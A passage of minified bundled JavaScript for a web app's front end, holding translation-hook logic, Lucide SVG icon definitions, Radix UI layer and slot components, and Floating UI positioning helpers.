B=!!(l.isInitialized||l.initializedStoreOnce)&&m.every(ce=>n6(ce,l,c)),q=t.lng||l.language,U=y.current,V=S.current;if(V&&V.ready===B&&V.lng===q&&V.keyPrefix===f&&V.revision===U)return V;const le={t:l.getFixedT(q,c.nsMode==="fallback"?m:m[0],f),ready:B,lng:q,keyPrefix:f,revision:U};return S.current=le,le},[l,m,f,c,t.lng]),[O,A]=v.useState(0),{t:_,ready:T}=v6.useSyncExternalStore(x,w,w);v.useEffect(()=>{if(l&&!T&&!u){const B=()=>A(q=>q+1);t.lng?DA(l,t.lng,m,B):o0(l,m,B)}},[l,t.lng,m,T,u,O]);const j=l||{},M=v.useRef(null),P=v.useRef(),R=B=>{const q=Object.getOwnPropertyDescriptors(B);q.__original&&delete q.__original;const U=Object.create(Object.getPrototypeOf(B),q);if(!Object.prototype.hasOwnProperty.call(U,"__original"))try{Object.defineProperty(U,"__original",{value:B,writable:!1,enumerable:!1,configurable:!1})}catch{}return U},I=v.useMemo(()=>{const B=j,q=B?.language;let U=B;B&&(M.current&&M.current.__original===B?P.current!==q?(U=R(B),M.current=U,P.current=q):U=M.current:(U=R(B),M.current=U,P.current=q));const V=[_,U,T];return V.t=_,V.i18n=U,V.ready=T,V},[_,j,T,j.resolvedLanguage,j.language,j.languages]);if(l&&u&&!T)throw new Promise(B=>{const q=()=>B();t.lng?DA(l,t.lng,m,q):o0(l,m,q)});return I};const x6=e=>e.replace(/([a-z0-9])([A-Z])/g,"$1-$2").toLowerCase(),w6=e=>e.replace(/^([A-Z])|[\s-_]+(\w)/g,(t,n,r)=>r?r.toUpperCase():n.toLowerCase()),IA=e=>{const t=w6(e);return t.charAt(0).toUpperCase()+t.slice(1)},vM=(...e)=>e.filter((t,n,r)=>!!t&&t.trim()!==""&&r.indexOf(t)===n).join(" ").trim(),S6=e=>{for(const t in e)if(t.startsWith("aria-")||t==="role"||t==="title")return!0};var O6={xmlns:"http://www.w3.org/2000/svg",width:24,height:24,viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:2,strokeLinecap:"round",strokeLinejoin:"round"};const E6=v.forwardRef(({color:e="currentColor",size:t=24,strokeWidth:n=2,absoluteStrokeWidth:r,className:i="",children:l,iconNode:c,...u},f)=>v.createElement("svg",{ref:f,...O6,width:t,height:t,stroke:e,strokeWidth:r?Number(n)*24/Number(t):n,className:vM("lucide",i),...!l&&!S6(u)&&{"aria-hidden":"true"},...u},[...c.map(([h,p])=>v.createElement(h,p)),...Array.isArray(l)?l:[l]]));const Me=(e,t)=>{const n=v.forwardRef(({className:r,...i},l)=>v.createElement(E6,{ref:l,iconNode:t,className:vM(`lucide-${x6(IA(e))}`,`lucide-${e}`,r),...i}));return n.displayName=IA(e),n};const A6=[["path",{d:"M22 12h-2.48a2 2 0 0 0-1.93 1.46l-2.35 8.36a.25.25 0 0 1-.48 0L9.24 2.18a.25.25 0 0 0-.48 0l-2.35 8.36A2 2 0 0 1 4.49 12H2",key:"169zse"}]],xd=Me("activity",A6);const C6=[["path",{d:"M4.929 4.929 19.07 19.071",key:"196cmz"}],["circle",{cx:"12",cy:"12",r:"10",key:"1mglay"}]],zA=Me("ban",C6);const _6=[["path",{d:"M3 3v16a2 2 0 0 0 2 2h16",key:"c24i48"}],["path",{d:"M18 17V9",key:"2bz60n"}],["path",{d:"M13 17V5",key:"1frdt8"}],["path",{d:"M8 17v-3",key:"17ska0"}]],s0=Me("chart-column",_6);const T6=[["path",{d:"M20 6 9 17l-5-5",key:"1gmf2c"}]],gM=Me("check",T6);const N6=[["path",{d:"m6 9 6 6 6-6",key:"qrunsl"}]],Ch=Me("chevron-down",N6);const M6=[["path",{d:"m9 18 6-6-6-6",key:"mthhwq"}]],j6=Me("chevron-right",M6);const P6=[["path",{d:"m18 15-6-6-6 6",key:"153udz"}]],R6=Me("chevron-up",P6);const D6=[["circle",{cx:"12",cy:"12",r:"10",key:"1mglay"}],["path",{d:"m9 12 2 2 4-4",key:"dzmm74"}]],yM=Me("circle-check",D6);const k6=[["circle",{cx:"12",cy:"12",r:"10",key:"1mglay"}],["circle",{cx:"12",cy:"12",r:"1",key:"41hilf"}]],bM=Me("circle-dot",k6);const L6=[["circle",{cx:"12",cy:"12",r:"10",key:"1mglay"}],["path",{d:"m15 9-6 6",key:"1uzhvr"}],["path",{d:"m9 9 6 6",key:"z0biqf"}]],xM=Me("circle-x",L6);const I6=[["circle",{cx:"12",cy:"12",r:"10",key:"1mglay"}]],z6=Me("circle",I6);const $6=[["path",{d:"M12 6v6l4 2",key:"mmk7yg"}],["circle",{cx:"12",cy:"12",r:"10",key:"1mglay"}]],wM=Me("clock",$6);const B6=[["path",{d:"M11 10.27 7 3.34",key:"16pf9h"}],["path",{d:"m11 13.73-4 6.93",key:"794ttg"}],["path",{d:"M12 22v-2",key:"1osdcq"}],["path",{d:"M12 2v2",key:"tus03m"}],["path",{d:"M14 12h8",key:"4f43i9"}],["path",{d:"m17 20.66-1-1.73",key:"eq3orb"}],["path",{d:"m17 3.34-1 1.73",key:"2wel8s"}],["path",{d:"M2 12h2",key:"1t8f8n"}],["path",{d:"m20.66 17-1.73-1",key:"sg0v6f"}],["path",{d:"m20.66 7-1.73 1",key:"1ow05n"}],["path",{d:"m3.34 17 1.73-1",key:"nuk764"}],["path",{d:"m3.34 7 1.73 1",key:"1ulond"}],["circle",{cx:"12",cy:"12",r:"2",key:"1c9p78"}],["circle",{cx:"12",cy:"12",r:"8",key:"46899m"}]],SM=Me("cog",B6);const U6=[["path",{d:"M12 15V3",key:"m9g1x1"}],["path",{d:"M21 15v4a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2v-4",key:"ih7n3h"}],["path",{d:"m7 10 5 5 5-5",key:"brsn70"}]],H6=Me("download",U6);const q6=[["path",{d:"M21.54 15H17a2 2 0 0 0-2 2v4.54",key:"1djwo0"}],["path",{d:"M7 3.34V5a3 3 0 0 0 3 3a2 2 0 0 1 2 2c0 1.1.9 2 2 2a2 2 0 0 0 2-2c0-1.1.9-2 2-2h3.17",key:"1tzkfa"}],["path",{d:"M11 21.95V18a2 2 0 0 0-2-2a2 2 0 0 1-2-2v-1a2 2 0 0 0-2-2H2.05",key:"14pb5j"}],["circle",{cx:"12",cy:"12",r:"10",key:"1mglay"}]],F6=Me("earth",q6);const V6=[["path",{d:"M15 3h6v6",key:"1q9fwt"}],["path",{d:"M10 14 21 3",key:"gplh6r"}],["path",{d:"M18 13v6a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2V8a2 2 0 0 1 2-2h6",key:"a6xqqp"}]],K6=Me("external-link",V6);const Y6=[["path",{d:"M6 22a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2h8a2.4 2.4 0 0 1 1.704.706l3.588 3.588A2.4 2.4 0 0 1 20 8v12a2 2 0 0 1-2 2z",key:"1oefj6"}],["path",{d:"M14 2v5a1 1 0 0 0 1 1h5",key:"wfsgrz"}],["path",{d:"M10 12a1 1 0 0 0-1 1v1a1 1 0 0 1-1 1 1 1 0 0 1 1 1v1a1 1 0 0 0 1 1",key:"1oajmo"}],["path",{d:"M14 18a1 1 0 0 0 1-1v-1a1 1 0 0 1 1-1 1 1 0 0 1-1-1v-1a1 1 0 0 0-1-1",key:"mpwhp6"}]],G6=Me("file-braces",Y6);const W6=[["path",{d:"M6 22a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2h8a2.4 2.4 0 0 1 1.704.706l3.588 3.588A2.4 2.4 0 0 1 20 8v12a2 2 0 0 1-2 2z",key:"1oefj6"}],["path",{d:"M14 2v5a1 1 0 0 0 1 1h5",key:"wfsgrz"}],["path",{d:"M8 13h2",key:"yr2amv"}],["path",{d:"M14 13h2",key:"un5t4a"}],["path",{d:"M8 17h2",key:"2yhykz"}],["path",{d:"M14 17h2",key:"10kma7"}]],X6=Me("file-spreadsheet",W6);const Z6=[["path",{d:"M10 20a1 1 0 0 0 .553.895l2 1A1 1 0 0 0 14 21v-7a2 2 0 0 1 .517-1.341L21.74 4.67A1 1 0 0 0 21 3H3a1 1 0 0 0-.742 1.67l7.225 7.989A2 2 0 0 1 10 14z",key:"sc7q7i"}]],Q6=Me("funnel",Z6);const J6=[["path",{d:"M15 22v-4a4.8 4.8 0 0 0-1-3.5c3 0 6-2 6-5.5.08-1.25-.27-2.48-1-3.5.28-1.15.28-2.35 0-3.5 0 0-1 0-3 1.5-2.64-.5-5.36-.5-8 0C6 2 5 2 5 2c-.3 1.15-.3 2.35 0 3.5A5.403 5.403 0 0 0 4 9c0 3.5 3 5.5 6 5.5-.39.49-.68 1.05-.85 1.65-.17.6-.22 1.23-.15 1.85v4",key:"tonef"}],["path",{d:"M9 18c-4.51 2-5-2-7-2",key:"9comsn"}]],eB=Me("github",J6);const tB=[["line",{x1:"4",x2:"20",y1:"9",y2:"9",key:"4lhtct"}],["line",{x1:"4",x2:"20",y1:"15",y2:"15",key:"vyu0kd"}],["line",{x1:"10",x2:"8",y1:"3",y2:"21",key:"1ggp8o"}],["line",{x1:"16",x2:"14",y1:"3",y2:"21",key:"weycgp"}]],nB=Me("hash",tB);const rB=[["polyline",{points:"22 12 16 12 14 15 10 15 8 12 2 12",key:"o97t9d"}],["path",{d:"M5.45 5.11 2 12v6a2 2 0 0 0 2 2h16a2 2 0 0 0 2-2v-6l-3.45-6.89A2 2 0 0 0 16.76 4H7.24a2 2 0 0 0-1.79 1.11z",key:"oot6mr"}]],OM=Me("inbox",rB);const aB=[["path",{d:"m5 8 6 6",key:"1wu5hv"}],["path",{d:"m4 14 6-6 2-3",key:"1k1g8d"}],["path",{d:"M2 5h12",key:"or177f"}],["path",{d:"M7 2h1",key:"1t2jsx"}],["path",{d:"m22 22-5-10-5 10",key:"don7ne"}],["path",{d:"M14 18h6",key:"1m8k6r"}]],iB=Me("languages",aB);const oB=[["path",{d:"M3 5h.01",key:"18ugdj"}],["path",{d:"M3 12h.01",key:"nlz23k"}],["path",{d:"M3 19h.01",key:"noohij"}],["path",{d:"M8 5h13",key:"1pao27"}],["path",{d:"M8 12h13",key:"1za7za"}],["path",{d:"M8 19h13",key:"m83p4d"}]],lB=Me("list",oB);const sB=[["path",{d:"M21 12a9 9 0 1 1-6.219-8.56",key:"13zald"}]],c0=Me("loader-circle",sB);const cB=[["rect",{width:"18",height:"11",x:"3",y:"11",rx:"2",ry:"2",key:"1w4ew1"}],["path",{d:"M7 11V7a5 5 0 0 1 10 0v4",key:"fwvmzm"}]],$A=Me("lock",cB);const uB=[["path",{d:"M20.985 12.486a9 9 0 1 1-9.473-9.472c.405-.022.617.46.402.803a6 6 0 0 0 8.268 8.268c.344-.215.825-.004.803.401",key:"kfwtm"}]],fB=Me("moon",uB);const dB=[["rect",{x:"16",y:"16",width:"6",height:"6",rx:"1",key:"4q2zg0"}],["rect",{x:"2",y:"16",width:"6",height:"6",rx:"1",key:"8cvhb9"}],["rect",{x:"9",y:"2",width:"6",height:"6",rx:"1",key:"1egb70"}],["path",{d:"M5 16v-3a1 1 0 0 1 1-1h12a1 1 0 0 1 1 1v3",key:"1jsf9p"}],["path",{d:"M12 12V8",key:"2874zd"}]],_b=Me("network",dB);const hB=[["path",{d:"M5 5a2 2 0 0 1 3.008-1.728l11.997 6.998a2 2 0 0 1 .003 3.458l-12 7A2 2 0 0 1 5 19z",key:"10ikf1"}]],pB=Me("play",hB);const mB=[["path",{d:"M19.07 4.93A10 10 0 0 0 6.99 3.34",key:"z3du51"}],["path",{d:"M4 6h.01",key:"oypzma"}],["path",{d:"M2.29 9.62A10 10 0 1 0 21.31 8.35",key:"qzzz0"}],["path",{d:"M16.24 7.76A6 6 0 1 0 8.23 16.67",key:"1yjesh"}],["path",{d:"M12 18h.01",key:"mhygvu"}],["path",{d:"M17.99 11.66A6 6 0 0 1 15.77 16.67",key:"1u2y91"}],["circle",{cx:"12",cy:"12",r:"2",key:"1c9p78"}],["path",{d:"m13.41 10.59 5.66-5.66",key:"mhq4k0"}]],vB=Me("radar",mB);const gB=[["path",{d:"M3 12a9 9 0 0 1 9-9 9.75 9.75 0 0 1 6.74 2.74L21 8",key:"v9h5vc"}],["path",{d:"M21 3v5h-5",key:"1q7to0"}],["path",{d:"M21 12a9 9 0 0 1-9 9 9.75 9.75 0 0 1-6.74-2.74L3 16",key:"3uifl3"}],["path",{d:"M8 16H3v5",key:"1cv678"}]],yB=Me("refresh-cw",gB);const bB=[["rect",{width:"20",height:"8",x:"2",y:"2",rx:"2",ry:"2",key:"ngkwjq"}],["rect",{width:"20",height:"8",x:"2",y:"14",rx:"2",ry:"2",key:"iecqi9"}],["line",{x1:"6",x2:"6.01",y1:"6",y2:"6",key:"16zg32"}],["line",{x1:"6",x2:"6.01",y1:"18",y2:"18",key:"nzw8ys"}]],Tb=Me("server",bB);const xB=[["path",{d:"M14 17H5",key:"gfn3mx"}],["path",{d:"M19 7h-9",key:"6i9tg"}],["circle",{cx:"17",cy:"17",r:"3",key:"18b49y"}],["circle",{cx:"7",cy:"7",r:"3",key:"dfmy0x"}]],wB=Me("settings-2",xB);const SB=[["path",{d:"M20 13c0 5-3.5 7.5-7.66 8.95a1 1 0 0 1-.67-.01C7.5 20.5 4 18 4 13V6a1 1 0 0 1 1-1c2 0 4.5-1.2 6.24-2.72a1.17 1.17 0 0 1 1.52 0C14.51 3.81 17 5 19 5a1 1 0 0 1 1 1z",key:"oel41y"}]],OB=Me("shield",SB);const EB=[["rect",{width:"18",height:"18",x:"3",y:"3",rx:"2",key:"afitv7"}]],AB=Me("square",EB);const CB=[["circle",{cx:"12",cy:"12",r:"4",key:"4exip2"}],["path",{d:"M12 2v2",key:"tus03m"}],["path",{d:"M12 20v2",key:"1lh1kg"}],["path",{d:"m4.93 4.93 1.41 1.41",key:"149t6j"}],["path",{d:"m17.66 17.66 1.41 1.41",key:"ptbguv"}],["path",{d:"M2 12h2",key:"1t8f8n"}],["path",{d:"M20 12h2",key:"1q8mjw"}],["path",{d:"m6.34 17.66-1.41 1.41",key:"1m8zz5"}],["path",{d:"m19.07 4.93-1.41 1.41",key:"1shlcs"}]],_B=Me("sun",CB);const TB=[["circle",{cx:"12",cy:"12",r:"10",key:"1mglay"}],["circle",{cx:"12",cy:"12",r:"6",key:"1vlfrh"}],["circle",{cx:"12",cy:"12",r:"2",key:"1c9p78"}]],BA=Me("target",TB);const NB=[["path",{d:"M12 19h8",key:"baeox8"}],["path",{d:"m4 17 6-6-6-6",key:"1yngyt"}]],UA=Me("terminal",NB);const MB=[["path",{d:"M10 11v6",key:"nco0om"}],["path",{d:"M14 11v6",key:"outv1u"}],["path",{d:"M19 6v14a2 2 0 0 1-2 2H7a2 2 0 0 1-2-2V6",key:"miytrc"}],["path",{d:"M3 6h18",key:"d0wm0j"}],["path",{d:"M8 6V4a2 2 0 0 1 2-2h4a2 2 0 0 1 2 2v2",key:"e791ji"}]],jB=Me("trash-2",MB);const PB=[["path",{d:"m21.73 18-8-14a2 2 0 0 0-3.48 0l-8 14A2 2 0 0 0 4 21h16a2 2 0 0 0 1.73-3",key:"wmoenq"}],["path",{d:"M12 9v4",key:"juzpu7"}],["path",{d:"M12 17h.01",key:"p32p05"}]],Nb=Me("triangle-alert",PB);const RB=[["path",{d:"M19 21v-2a4 4 0 0 0-4-4H9a4 4 0 0 0-4 4v2",key:"975kel"}],["circle",{cx:"12",cy:"7",r:"4",key:"17ys0d"}]],DB=Me("user",RB);const kB=[["path",{d:"M12 20h.01",key:"zekei9"}],["path",{d:"M8.5 16.429a5 5 0 0 1 7 0",key:"1bycff"}],["path",{d:"M5 12.859a10 10 0 0 1 5.17-2.69",key:"1dl1wf"}],["path",{d:"M19 12.859a10 10 0 0 0-2.007-1.523",key:"4k23kn"}],["path",{d:"M2 8.82a15 15 0 0 1 4.177-2.643",key:"1grhjp"}],["path",{d:"M22 8.82a15 15 0 0 0-11.288-3.764",key:"z3jwby"}],["path",{d:"m2 2 20 20",key:"1ooewy"}]],LB=Me("wifi-off",kB);const IB=[["path",{d:"M12 20h.01",key:"zekei9"}],["path",{d:"M2 8.82a15 15 0 0 1 20 0",key:"dnpr2z"}],["path",{d:"M5 12.859a10 10 0 0 1 14 0",key:"1x1e6c"}],["path",{d:"M8.5 16.429a5 5 0 0 1 7 0",key:"1bycff"}]],EM=Me("wifi",IB);const zB=[["path",{d:"M4 14a1 1 0 0 1-.78-1.63l9.9-10.2a.5.5 0 0 1 .86.46l-1.92 6.02A1 1 0 0 0 13 10h7a1 1 0 0 1 .78 1.63l-9.9 10.2a.5.5 0 0 1-.86-.46l1.92-6.02A1 1 0 0 0 11 14z",key:"1xq2db"}]],$B=Me("zap",zB);function ue(e,t,{checkForDefaultPrevented:n=!0}={}){return function(i){if(e?.(i),n===!1||!i.defaultPrevented)return t?.(i)}}function HA(e,t){if(typeof e=="function")return e(t);e!=null&&(e.current=t)}function ja(...e){return t=>{let n=!1;const r=e.map(i=>{const l=HA(i,t);return!n&&typeof l=="function"&&(n=!0),l});if(n)return()=>{for(let i=0;i{const{children:c,...u}=l,f=v.useMemo(()=>u,Object.values(u));return E.jsx(n.Provider,{value:f,children:c})};r.displayName=e+"Provider";function i(l){const c=v.useContext(n);if(c)return c;if(t!==void 0)return t;throw new Error(`\`${l}\` must be used within \`${e}\``)}return[r,i]}function Fn(e,t=[]){let n=[];function r(l,c){const u=v.createContext(c),f=n.length;n=[...n,c];const h=m=>{const{scope:y,children:x,...S}=m,w=y?.[e]?.[f]||u,O=v.useMemo(()=>S,Object.values(S));return E.jsx(w.Provider,{value:O,children:x})};h.displayName=l+"Provider";function p(m,y){const x=y?.[e]?.[f]||u,S=v.useContext(x);if(S)return S;if(c!==void 0)return c;throw new Error(`\`${m}\` must be used within \`${l}\``)}return[h,p]}const i=()=>{const l=n.map(c=>v.createContext(c));return function(u){const f=u?.[e]||l;return v.useMemo(()=>({[`__scope${e}`]:{...u,[e]:f}}),[u,f])}};return i.scopeName=e,[r,UB(i,...t)]}function UB(...e){const t=e[0];if(e.length===1)return t;const n=()=>{const r=e.map(i=>({useScope:i(),scopeName:i.scopeName}));return function(l){const c=r.reduce((u,{useScope:f,scopeName:h})=>{const m=f(l)[`__scope${h}`];return{...u,...m}},{});return v.useMemo(()=>({[`__scope${t.scopeName}`]:c}),[c])}};return n.scopeName=t.scopeName,n}var wo=sM();const HB=Vr(wo);function qB(e){const t=FB(e),n=v.forwardRef((r,i)=>{const{children:l,...c}=r,u=v.Children.toArray(l),f=u.find(KB);if(f){const h=f.props.children,p=u.map(m=>m===f?v.Children.count(h)>1?v.Children.only(null):v.isValidElement(h)?h.props.children:null:m);return E.jsx(t,{...c,ref:i,children:v.isValidElement(h)?v.cloneElement(h,void 0,p):null})}return E.jsx(t,{...c,ref:i,children:l})});return n.displayName=`${e}.Slot`,n}function FB(e){const t=v.forwardRef((n,r)=>{const{children:i,...l}=n;if(v.isValidElement(i)){const c=GB(i),u=YB(l,i.props);return i.type!==v.Fragment&&(u.ref=r?ja(r,c):c),v.cloneElement(i,u)}return v.Children.count(i)>1?v.Children.only(null):null});return t.displayName=`${e}.SlotClone`,t}var VB=Symbol("radix.slottable");function KB(e){return v.isValidElement(e)&&typeof e.type=="function"&&"__radixId"in e.type&&e.type.__radixId===VB}function YB(e,t){const n={...t};for(const r in t){const i=e[r],l=t[r];/^on[A-Z]/.test(r)?i&&l?n[r]=(...u)=>{const f=l(...u);return i(...u),f}:i&&(n[r]=i):r==="style"?n[r]={...i,...l}:r==="className"&&(n[r]=[i,l].filter(Boolean).join(" "))}return{...e,...n}}function GB(e){let t=Object.getOwnPropertyDescriptor(e.props,"ref")?.get,n=t&&"isReactWarning"in t&&t.isReactWarning;return n?e.ref:(t=Object.getOwnPropertyDescriptor(e,"ref")?.get,n=t&&"isReactWarning"in t&&t.isReactWarning,n?e.props.ref:e.props.ref||e.ref)}var WB=["a","button","div","form","h2","h3","img","input","label","li","nav","ol","p","select","span","svg","ul"],Ce=WB.reduce((e,t)=>{const n=qB(`Primitive.${t}`),r=v.forwardRef((i,l)=>{const{asChild:c,...u}=i,f=c?n:t;return typeof window<"u"&&(window[Symbol.for("radix-ui")]=!0),E.jsx(f,{...u,ref:l})});return r.displayName=`Primitive.${t}`,{...e,[t]:r}},{});function AM(e,t){e&&wo.flushSync(()=>e.dispatchEvent(t))}function en(e){const t=v.useRef(e);return v.useEffect(()=>{t.current=e}),v.useMemo(()=>(...n)=>t.current?.(...n),[])}function XB(e,t=globalThis?.document){const n=en(e);v.useEffect(()=>{const r=i=>{i.key==="Escape"&&n(i)};return t.addEventListener("keydown",r,{capture:!0}),()=>t.removeEventListener("keydown",r,{capture:!0})},[n,t])}var ZB="DismissableLayer",u0="dismissableLayer.update",QB="dismissableLayer.pointerDownOutside",JB="dismissableLayer.focusOutside",qA,CM=v.createContext({layers:new Set,layersWithOutsidePointerEventsDisabled:new Set,branches:new Set}),Hc=v.forwardRef((e,t)=>{const{disableOutsidePointerEvents:n=!1,onEscapeKeyDown:r,onPointerDownOutside:i,onFocusOutside:l,onInteractOutside:c,onDismiss:u,...f}=e,h=v.useContext(CM),[p,m]=v.useState(null),y=p?.ownerDocument??globalThis?.document,[,x]=v.useState({}),S=De(t,R=>m(R)),w=Array.from(h.layers),[O]=[...h.layersWithOutsidePointerEventsDisabled].slice(-1),A=w.indexOf(O),_=p?w.indexOf(p):-1,T=h.layersWithOutsidePointerEventsDisabled.size>0,j=_>=A,M=n8(R=>{const I=R.target,B=[...h.branches].some(q=>q.contains(I));!j||B||(i?.(R),c?.(R),R.defaultPrevented||u?.())},y),P=r8(R=>{const I=R.target;[...h.branches].some(q=>q.contains(I))||(l?.(R),c?.(R),R.defaultPrevented||u?.())},y);return XB(R=>{_===h.layers.size-1&&(r?.(R),!R.defaultPrevented&&u&&(R.preventDefault(),u()))},y),v.useEffect(()=>{if(p)return n&&(h.layersWithOutsidePointerEventsDisabled.size===0&&(qA=y.body.style.pointerEvents,y.body.style.pointerEvents="none"),h.layersWithOutsidePointerEventsDisabled.add(p)),h.layers.add(p),FA(),()=>{n&&h.layersWithOutsidePointerEventsDisabled.size===1&&(y.body.style.pointerEvents=qA)}},[p,y,n,h]),v.useEffect(()=>()=>{p&&(h.layers.delete(p),h.layersWithOutsidePointerEventsDisabled.delete(p),FA())},[p,h]),v.useEffect(()=>{const R=()=>x({});return document.addEventListener(u0,R),()=>document.removeEventListener(u0,R)},[]),E.jsx(Ce.div,{...f,ref:S,style:{pointerEvents:T?j?"auto":"none":void 0,...e.style},onFocusCapture:ue(e.onFocusCapture,P.onFocusCapture),onBlurCapture:ue(e.onBlurCapture,P.onBlurCapture),onPointerDownCapture:ue(e.onPointerDownCapture,M.onPointerDownCapture)})});Hc.displayName=ZB;var e8="DismissableLayerBranch",t8=v.forwardRef((e,t)=>{const n=v.useContext(CM),r=v.useRef(null),i=De(t,r);return v.useEffect(()=>{const l=r.current;if(l)return n.branches.add(l),()=>{n.branches.delete(l)}},[n.branches]),E.jsx(Ce.div,{...e,ref:i})});t8.displayName=e8;function n8(e,t=globalThis?.document){const n=en(e),r=v.useRef(!1),i=v.useRef(()=>{});return v.useEffect(()=>{const l=u=>{if(u.target&&!r.current){let f=function(){_M(QB,n,h,{discrete:!0})};const h={originalEvent:u};u.pointerType==="touch"?(t.removeEventListener("click",i.current),i.current=f,t.addEventListener("click",i.current,{once:!0})):f()}else t.removeEventListener("click",i.current);r.current=!1},c=window.setTimeout(()=>{t.addEventListener("pointerdown",l)},0);return()=>{window.clearTimeout(c),t.removeEventListener("pointerdown",l),t.removeEventListener("click",i.current)}},[t,n]),{onPointerDownCapture:()=>r.current=!0}}function r8(e,t=globalThis?.document){const n=en(e),r=v.useRef(!1);return v.useEffect(()=>{const i=l=>{l.target&&!r.current&&_M(JB,n,{originalEvent:l},{discrete:!1})};return t.addEventListener("focusin",i),()=>t.removeEventListener("focusin",i)},[t,n]),{onFocusCapture:()=>r.current=!0,onBlurCapture:()=>r.current=!1}}function FA(){const e=new CustomEvent(u0);document.dispatchEvent(e)}function _M(e,t,n,{discrete:r}){const i=n.originalEvent.target,l=new CustomEvent(e,{bubbles:!1,cancelable:!0,detail:n});t&&i.addEventListener(e,t,{once:!0}),r?AM(i,l):i.dispatchEvent(l)}var Ft=globalThis?.document?v.useLayoutEffect:()=>{},a8=Eh[" useId ".trim().toString()]||(()=>{}),i8=0;function sr(e){const[t,n]=v.useState(a8());return Ft(()=>{n(r=>r??String(i8++))},[e]),t?`radix-${t}`:""}const o8=["top","right","bottom","left"],xi=Math.min,zn=Math.max,wd=Math.round,If=Math.floor,zr=e=>({x:e,y:e}),l8={left:"right",right:"left",bottom:"top",top:"bottom"},s8={start:"end",end:"start"};function f0(e,t,n){return zn(e,xi(t,n))}function wa(e,t){return typeof e=="function"?e(t):e}function Sa(e){return e.split("-")[0]}function Hl(e){return e.split("-")[1]}function Mb(e){return e==="x"?"y":"x"}function jb(e){return e==="y"?"height":"width"}const c8=new Set(["top","bottom"]);function Lr(e){return c8.has(Sa(e))?"y":"x"}function Pb(e){return Mb(Lr(e))}function u8(e,t,n){n===void 0&&(n=!1);const r=Hl(e),i=Pb(e),l=jb(i);let c=i==="x"?r===(n?"end":"start")?"right":"left":r==="start"?"bottom":"top";return t.reference[l]>t.floating[l]&&(c=Sd(c)),[c,Sd(c)]}function f8(e){const t=Sd(e);return[d0(e),t,d0(t)]}function d0(e){return e.replace(/start|end/g,t=>s8[t])}const VA=["left","right"],KA=["right","left"],d8=["top","bottom"],h8=["bottom","top"];function p8(e,t,n){switch(e){case"top":case"bottom":return n?t?KA:VA:t?VA:KA;case"left":case"right":return t?d8:h8;default:return[]}}function m8(e,t,n,r){const i=Hl(e);let l=p8(Sa(e),n==="start",r);return i&&(l=l.map(c=>c+"-"+i),t&&(l=l.concat(l.map(d0)))),l}function Sd(e){return e.replace(/left|right|bottom|top/g,t=>l8[t])}function v8(e){return{top:0,right:0,bottom:0,left:0,...e}}function TM(e){return typeof e!="number"?v8(e):{top:e,right:e,bottom:e,left:e}}function Od(e){const{x:t,y:n,width:r,height:i}=e;return{width:r,height:i,top:n,left:t,right:t+r,bottom:n+i,x:t,y:n}}function YA(e,t,n){let{reference:r,floating:i}=e;const l=Lr(t),c=Pb(t),u=jb(c),f=Sa(t),h=l==="y",p=r.x+r.width/2-i.width/2,m=r.y+r.height/2-i.height/2,y=r[u]/2-i[u]/2;let x;switch(f){case"top":x={x:p,y:r.y-i.height};break;case"bottom":x={x:p,y:r.y+r.height};break;case"right":x={x:r.x+r.width,y:m};break;case"left":x={x:r.x-i.width,y:m};break;default:x={x:r.x,y:r.y}}switch(Hl(t)){case"start":x[c]-=y*(n&&h?-1:1);break;case"end":x[c]+=y*(n&&h?-1:1);break}return x}const g8=async(e,t,n)=>{const{placement:r="bottom",strategy:i="absolute",middleware:l=[],platform:c}=n,u=l.filter(Boolean),f=await(c.isRTL==null?void 0:c.isRTL(t));let h=await c.getElementRects({reference:e,floating:t,strategy:i}),{x:p,y:m}=YA(h,r,f),y=r,x={},S=0;for(let w=0;w({name:"arrow",options:e,async fn(t){const{x:n,y:r,placement:i,rects:l,platform:c,elements:u,middlewareData:f}=t,{element:h,padding:p=0}=wa(e,t)||{};if(h==null)return{};const m=TM(p),y={x:n,y:r},x=Pb(i),S=jb(x),w=await c.getDimensions(h),O=x==="y",A=O?"top":"left",_=O?"bottom":"right",T=O?"clientHeight":"clientWidth",j=l.reference[S]+l.reference[x]-y[x]-l.floating[S],M=y[x]-l.reference[x],P=await(c.getOffsetParent==null?void 0:c.getOffsetParent(h));let R=P?P[T]:0;(!R||!await(c.isElement==null?void 0:c.isElement(P)))&&(R=u.floating[T]||l.floating[S]);const I=j/2-M/2,B=R/2-w[S]/2-1,q=xi(m[A],B),U=xi(m[_],B),V=q,oe=R-w[S]-U,le=R/2-w[S]/2+I,ce=f0(V,le,oe),L=!f.arrow&&Hl(i)!=null&&le!==ce&&l.reference[S]/2-(lele<=0)){var U,V;const le=(((U=l.flip)==null?void 0:U.index)||0)+1,ce=R[le];if(ce&&(!(m==="alignment"?_!==Lr(ce):!1)||q.every($=>Lr($.placement)===_?$.overflows[0]>0:!0)))return{data:{index:le,overflows:q},reset:{placement:ce}};let L=(V=q.filter(F=>F.overflows[0]<=0).sort((F,$)=>F.overflows[1]-$.overflows[1])[0])==null?void 0:V.placement;if(!L)switch(x){case"bestFit":{var oe;const F=(oe=q.filter($=>{if(P){const Z=Lr($.placement);return Z===_||Z==="y"}return!0}).map($=>[$.placement,$.overflows.filter(Z=>Z>0).reduce((Z,de)=>Z+de,0)]).sort(($,Z)=>$[1]-Z[1])[0])==null?void 0:oe[0];F&&(L=F);break}case"initialPlacement":L=u;break}if(i!==L)return{reset:{placement:L}}}return{}}}};function GA(e,t){return{top:e.top-t.height,right:e.right-t.width,bottom:e.bottom-t.height,left:e.left-t.width}}function WA(e){return o8.some(t=>e[t]>=0)}const x8=function(e){return e===void 0&&(e={}),{name:"hide",options:e,async fn(t){const{rects:n}=t,{strategy:r="referenceHidden",...i}=wa(e,t);switch(r){case"referenceHidden":{const l=await wc(t,{...i,elementContext:"reference"}),c=GA(l,n.reference);return{data:{referenceHiddenOffsets:c,referenceHidden:WA(c)}}}case"escaped":{const l=await wc(t,{...i,altBoundary:!0}),c=GA(l,n.floating);return{data:{escapedOffsets:c,escaped:WA(c)}}}default:return{}}}}},NM=new Set(["left","top"]);async function w8(e,t){const{placement:n,platform:r,elements:i}=e,l=await(r.isRTL==null?void 0:r.isRTL(i.floating)),c=Sa(n),u=Hl(n),f=Lr(n)==="y",h=NM.has(c)?-1:1,p=l&&f?-1:1,m=wa(t,e);let{mainAxis:y,crossAxis:x,alignmentAxis:S}=typeof 